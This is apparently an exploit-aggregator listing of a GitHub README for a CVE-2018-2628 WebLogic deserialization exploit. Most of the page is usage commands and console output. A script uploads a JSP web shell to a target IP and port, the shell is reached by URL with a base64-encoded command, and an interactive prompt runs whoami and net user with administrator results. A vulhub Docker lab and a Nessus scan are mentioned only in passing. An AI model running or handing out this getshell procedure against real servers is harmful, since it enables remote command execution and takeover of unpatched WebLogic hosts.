Sploitus

Exploit for CVE-2018-2628

kitploit · 2026-08-25

Exploit Code

MARKDOWN84 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAS502N-CVE-2018-2628
# CVE-2018-2628 WebLogic反序列化漏洞复现

## weblogic getshell

`python CVE-2018-2628-Getshell.py ip port shell1.jsp`

![](https://assets.kitploit.com/production/public/readmes/27323/610ae64e33ec00d2b6bca106f9548d042cc2d476619a79b97ddefc8ed277a696.jpg) ![](https://assets.kitploit.com/production/public/readmes/27323/be3d86baa146e81a6ab3e917dde0ad8b2ae6c0e9e3df0833fcc714fb8e06564b.jpg)

root@kitploit:~
    
    
    C:\Users\CTF\Desktop>python CVE-2018-2628-Getshell.py  10.10.20.166 7001 jason1.jsp
    
       _______      ________    ___   ___  __  ___      ___   __ ___   ___
      / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \    |__ \ / /|__ \ / _ \
     | |     \ \  / /| |__ ______ ) | | | || | (_) |_____ ) / /_   ) | (_) |
     | |      \ \/ / |  __|______/ /| | | || |> _ <______/ / '_ \ / / > _ <
     | |____   \  /  | |____    / /_| |_| || | (_) |    / /| (_) / /_| (_) |
      \_____|   \/   |______|  |____|\___/ |_|\___/    |____\___/____|\___/
    
    
                              Weblogic Getshell
                                    jas502n
    
    
    handshake successful
    
    
     >>>>usage: python cve-2018-2628.py ip port shell1.jsp
    
    
    
    >>>Shell File Upload Dir:
    
    servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\jason1.jsp
    
    
    >>>Getshell: http://10.10.20.166:7001/bea_wls_internal/jason1.jsp?tom=d2hvYW1pCg==
    
    C:\Users\CTF\Desktop>
    

### python-poc

![](https://assets.kitploit.com/production/public/readmes/27323/b4351552d4fce5f98caaba376217ea2a5ae8fd1763daa874deb3ed8d78fe13ef.jpg)

#### The Docker In Here! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md

![](https://assets.kitploit.com/production/public/readmes/27323/8f1f59421eb62359856bc6f4b1310fa0d91e29c9c686ef61bb814b7f59806d6d.jpg)

### 0x01 Nessus Scan

![](https://assets.kitploit.com/production/public/readmes/27323/98d5d2a34c413c7a367edd7bc563ad25829ee578a98c2041f63247f0d6d753e1.jpg)

### 0x02 K8 Tools GetShell

![](https://assets.kitploit.com/production/public/readmes/27323/680ac9ffa9849d58e11246bcecc3e6bcce7567ba3fb47d81dcc2bd2246d39d80.png)

### 0x03 CMD Query

![](https://assets.kitploit.com/production/public/readmes/27323/3e254c1d630d83ac719b3e9efa3293172ab3d8c7fa9e6b1448f1a648bb22352a.jpg)

##### Use-Method:

root@kitploit:~
    
    
    > python cve-2018-2628.py
    
    set url :http://xx.xx.xx.xx:8001/bea_wls_internal/wlscmd.jsp
    cmd >>: whoami
    
    win-xxx8cb989qh\administrator
    
    cmd >>: net user
    
    \\WIN-XXX8CB989QH 的用户帐户
    
    -------------------------------------------------------------------------------
    Administrator            Guest
    命令成功完成。
    
    cmd >>: